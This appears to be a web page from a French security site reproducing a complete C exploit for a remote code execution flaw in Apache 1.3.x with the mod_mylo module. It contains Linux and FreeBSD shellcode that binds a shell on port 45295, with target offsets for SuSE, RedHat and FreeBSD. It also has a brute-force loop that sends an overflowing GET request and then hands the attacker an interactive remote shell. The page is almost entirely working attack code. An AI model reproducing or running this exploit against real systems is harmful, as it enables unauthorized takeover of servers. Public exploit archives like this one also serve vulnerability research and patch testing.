Apache 1.3.x mod_mylo Remote code execution Exploit

    
 
     * Version TXT Disponible ici *
/*
                              Apache + mod_mylo remote exploit
                              By Carl Livitt / July 2003
                              carllivitt at hush dot com

                              Public release - Linux and FreeBSD targets.
                              */
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 

                              #define SIZ 8096
                              #define HTTP_PORT 80
                              #define SHELL_PORT 45295
                              #define SOCKET_ERR -2
                              #define CONNECT_ERR -3
                              #define HOST_NOT_RESOLVED -4
                              #define BRUTE_FORCE_EXHAUSTED -5
                              #define SHELL_NOT_FOUND -7
                              #define SUCCESS 1
                              #define FAILED 0

                              // The following shellcode had 0x3f (?) chars in it which
                              // cause termination of our HTTP GET before the whole
                              // shellcode is written to the stack. The 0x3f's are
                              // needed because they are the dup2() syscall numbers. So,
                              // I've changed them to 0x3e's and INC'd them before doing
                              // an INT 0x80. Other than that, this shellcode is eSDee's.
                              // --------
                              // linux x86 shellcode by eSDee of Netric (www.netric.org)
                              // 200 byte - forking portbind shellcode - port=0xb0ef(45295)
                              char linux_shellcode[]=
                              "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
                              "\x06\x51\xb1\x01\x51\xb1\x02\x51"
                              "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
                              "\x89\xc1\x31\xc0\x31\xdb\x50\x50"
                              "\x50\x66\x68\xb0\xef\xb3\x02\x66"
                              "\x53\x89\xe2\xb3\x10\x53\xb3\x02"
                              "\x52\x51\x89\xca\x89\xe1\xb0\x66"
                              "\xcd\x80\x31\xdb\x39\xc3\x74\x05"
                              "\x31\xc0\x40\xcd\x80\x31\xc0\x50"
                              "\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
                              "\x80\x89\xd7\x31\xc0\x31\xdb\x31"
                              "\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
                              "\x80\x31\xc0\x31\xdb\x50\x50\x57"
                              "\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
                              "\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
                              "\xcd\x80\x39\xc3\x75\x40\x31\xc0"
                              "\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
                              "\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\x80"
                              "\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"
                              "\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"
                              "\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                              "\x62\x69\x6e\x89\xe3\x8b\x54\x24"
                              "\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
                              "\x80\x31\xc0\x40\xcd\x80\x31\xc0"
                              "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";

                              // This shellcode is unchanged (why reinvent the wheel ?):
                              // --------
                              /* BSD x86 shellcode by eSDee of Netric (www.netric.org)
                              * 194 byte - forking portbind shellcode - port=0xb0ef(45295)
                              */
                              char freebsd_shellcode[]=
                              "\x31\xc0\x31\xdb\x53\xb3\x06\x53"
                              "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
                              "\x61\xcd\x80\x89\xc7\x31\xc0\x50"
                              "\x50\x50\x66\x68\xb0\xef\xb7\x02"
                              "\x66\x53\x89\xe1\x31\xdb\xb3\x10"
                              "\x53\x51\x57\x50\xb0\x68\xcd\x80"
                              "\x31\xdb\x39\xc3\x74\x06\x31\xc0"
                              "\xb0\x01\xcd\x80\x31\xc0\x50\x57"
                              "\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
                              "\xdb\x50\x89\xe1\xb3\x01\x53\x89"
                              "\xe2\x50\x51\x52\xb3\x14\x53\x50"
                              "\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
                              "\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
                              "\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
                              "\x39\xc3\x75\x44\x31\xc0\x57\x50"
                              "\xb0\x06\xcd\x80\x31\xc0\x50\x56"
                              "\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
                              "\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
                              "\x80\x31\xc0\x43\x53\x56\x50\xb0"
                              "\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
                              "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
                              "\x89\xe3\x50\x54\x53\x50\xb0\x3b"
                              "\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
                              "\x31\xc0\x56\x50\xb0\x06\xcd\x80"
                              "\xeb\x9a";

                              struct {
                              char *platform;
                              unsigned long bruteStart, bruteEnd;
                              unsigned long retAddr;
                              int offset, len;
                              char *shellcodePtr;
                              } targets[]= {
                              { "SuSE 8.1, Apache 1.3.27 (installed from source) (default)", 0x08117c04,
                              0x08117dff, 0xbfffe9f0, 500, 4104, linux_shellcode },
                              { "RedHat 7.2, Apache 1.3.20 (installed from RPM)", 0x08105104, 0x081051ff,
                              0xbfffe0b0, 1000, 4104, linux_shellcode },
                              { "RedHat 7.3, Apache 1.3.23 (installed from RPM)", 0x080ef304, 0x080ef3ff,
                              0xbfffe190, 750, 4104, linux_shellcode },
                              { "FreeBSD 4.8, Apache 1.3.27 (from Ports)", 0x080bf004, 0x080bf0ff, 0xbfbfea50
                              ,3500, 4096, freebsd_shellcode },
                              NULL
                              };

                              char usage[]=
                              "Apache + mod_mylo remote exploit\n"
                              "By Carl Livitt (carllivitt at hush dot com)\n\n"
                              "Arguments: \n"
                              "  -t target       Attack 'target' host\n"
                              "  -T platform     Use parameters for target 'platform'\n"
                              "  -h              This help.\n";

                              void my_send(int, char *, ...);
                              void my_recv(int);
                              void make_exploitbuf(char *);
                              int connect_to_host(int);
                              int attempt_exploit(void);
                              void my_sleep(int n);

                              unsigned long retAddr=0,magic_r=0,MAGIC_R_START,MAGIC_R_END, exactPointerAddy=0;
                              char buf[SIZ], host[SIZ]="";
                              int useTarget=0;
                              struct hostent *hostStruct;

                              main(int argc, char **argv) {
                              int ch, i;

                              while((ch=getopt(argc, argv, "t:T:e:hr:"))!=-1) {
                              switch(ch) {
                              case 't':
                                strncpy(host, optarg, SIZ-1);
                                break;
                              case 'T':
                                useTarget=atoi(optarg);
                                break;
                              case 'e':
                                exactPointerAddy=strtoul(optarg,NULL,16);
                                break;
                              case 'r':
                                retAddr=strtoul(optarg,NULL,16);
                                break;
                              case 'h':
                              default:
                                printf("%s\n",usage);
                                printf("Available platforms:\n");
                                for(i=0;targets[i].platform;i++)
                                        printf("%2d. %s\n", i, targets[i].platform);
                                printf("\n");
                                exit(0);
                                break; // it's good practice :)
                              }
                              }

                              // Sanity check
                              if(!retAddr && exactPointerAddy) {
                              printf("[*] You must give RET address when specifying a pointer address\n");
                              printf("    A good place to start is 0xbfffe0b0(linux) or 0xbfbfe0b0(freeBSD)\n");
                              printf("    Also remember to pass a -T x flag... things will be unpredictable\n");
                              printf("    if you don't!\n");
                              exit(0);
                              }

                              if((hostStruct=gethostbyname(host))==NULL) {
                              printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n", host,argv[0]);
                              exit(0);
                              }

                              switch(attempt_exploit()) {
                              case HOST_NOT_RESOLVED:
                              printf("[*] Couldn't connect to host: %s not found.\n", host);
                              break;
                              case SOCKET_ERR:
                              printf("[*] Couldn't grab a socket!\n");
                              break;
                              case CONNECT_ERR:
                              printf("[*] Connection to %s was rejected\n",host);
                              break;
                              case SHELL_NOT_FOUND:
                              printf("[*] This attempt failed ...\n");
                              break;
                              case BRUTE_FORCE_EXHAUSTED:
                              printf("[*] Bruteforce failed.\n");
                              break;
                              case SUCCESS:
                              break;
                              default:
                              printf("[*] ERROR: There was no error!\n");
                              break;
                              }

                              printf("\nHave a nice day!\n");
                              exit(0);
                              }

                              int attempt_exploit(void) {
                              fd_set rfds;
                              int sock,retVal,r;

                              if(exactPointerAddy) {
                              printf("[-] Using 0x%08x for pointer addy\n", exactPointerAddy);
                              if((sock=connect_to_host(HTTP_PORT))<=0)
                              return sock;
                              magic_r=exactPointerAddy;
                              make_exploitbuf(buf);
                              my_send(sock, buf);
                              my_recv(sock);
                              close(sock);
                              my_sleep(100000);
                              if((sock=connect_to_host(SHELL_PORT))<=0) {
                              return sock;
                              }
                              } else { // Do crappy bruteforce loop
                              printf("[-] Attempting attack [ %s ] ...\n", targets[useTarget].platform);
                              MAGIC_R_START=targets[useTarget].bruteStart;
                              MAGIC_R_END=targets[useTarget].bruteEnd;
                              retAddr=targets[useTarget].retAddr;
                              for(magic_r=MAGIC_R_START; magic_r<=MAGIC_R_END; magic_r++) {
                              printf("[-] Trying 0x%08x ... \r", magic_r);fflush(stdout);
                              if((sock=connect_to_host(HTTP_PORT))<=0)
                                return sock;
                              make_exploitbuf(buf);
                              my_send(sock, buf);
                              my_recv(sock);
                              close(sock);
                              my_sleep(50000);
                              if((sock=connect_to_host(SHELL_PORT))>=SUCCESS) {
                                printf("\n[-] Found request_rec address @ 0x%08x\n", magic_r);
                                break;
                              }
                              }
                              if(magic_r>MAGIC_R_END)
                              return BRUTE_FORCE_EXHAUSTED;
                              }

                              printf("[-] Connected to %s! You can type commands now:\n", host);

                              // Now let the attacker issue commands to the remote
                              // shell, just as if (s)he had launched 'nc host 45295'.
                              do {
                              FD_ZERO(&rfds);
                              FD_SET(0, &rfds);
                              FD_SET(sock, &rfds);
                              retVal=select(sock+1, &rfds, NULL, NULL, NULL);
                              if(retVal) {
                              if(FD_ISSET(sock, &rfds)) {
                                buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
                                printf("%s", buf);
                              }
                              if(FD_ISSET(0, &rfds)) {
                                buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
                                send(sock, buf, strlen(buf), 0);
                              }

                              }
                              } while(retVal && r); // loop until connection terminates

                              close(sock);
                              return SUCCESS;
                              }

                              // Given a port number, connects to an already resolved hostname...
                              // connects a TCP stream and returns a socket number (or returns error)
                              int connect_to_host(int p) {
                              int sock;
                              struct sockaddr_in saddr;

                              if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
                              return SOCKET_ERR;
                              memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
                              saddr.sin_family=AF_INET;
                              saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
                              saddr.sin_port=htons(p);
                              if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
                              close(sock);
                              return CONNECT_ERR;
                              } else
                              return sock;
                              }

                              void make_exploitbuf(char *b) {
                              unsigned long *ptr;
                              char *sc=(char *)&targets[useTarget].shellcodePtr[0];

                              memset(b,0x00,SIZ-1);
                              strcat(b,"GET ");
                              memset(b+4,0x90,targets[useTarget].len);
                              memcpy((b+targets[useTarget].len)-(strlen(sc)+targets[useTarget].offset)-9,sc,strlen(sc));
                              ptr=(unsigned long *)&b[strlen(b)];
                              *(ptr++)=retAddr;
                              *ptr=magic_r;
                              strcat(b, "\n\n");
                              }

                              // Handy little function to send formattable data down a socket.
                              void my_send(int s, char *b, ...) {
                              va_list ap;
                              char *buf;

                              va_start(ap,b);
                              vasprintf(&buf,b,ap);
                              send(s,buf,strlen(buf),0);
                              va_end(ap);
                              free(buf);
                              }

                              // Another handy function to read data from a socket.
                              void my_recv(int s) {
                              int len;
                              char buf[SIZ];

                              len=recv(s, buf, SIZ-1, 0);
                              buf[len]=0;
                              }

                              // Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
                              void my_sleep(int n) {
                              struct timespec t;
                              t.tv_sec=0;
                              t.tv_nsec=n;
                              nanosleep(&t,&t);
                              }
                              

   

   

 Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits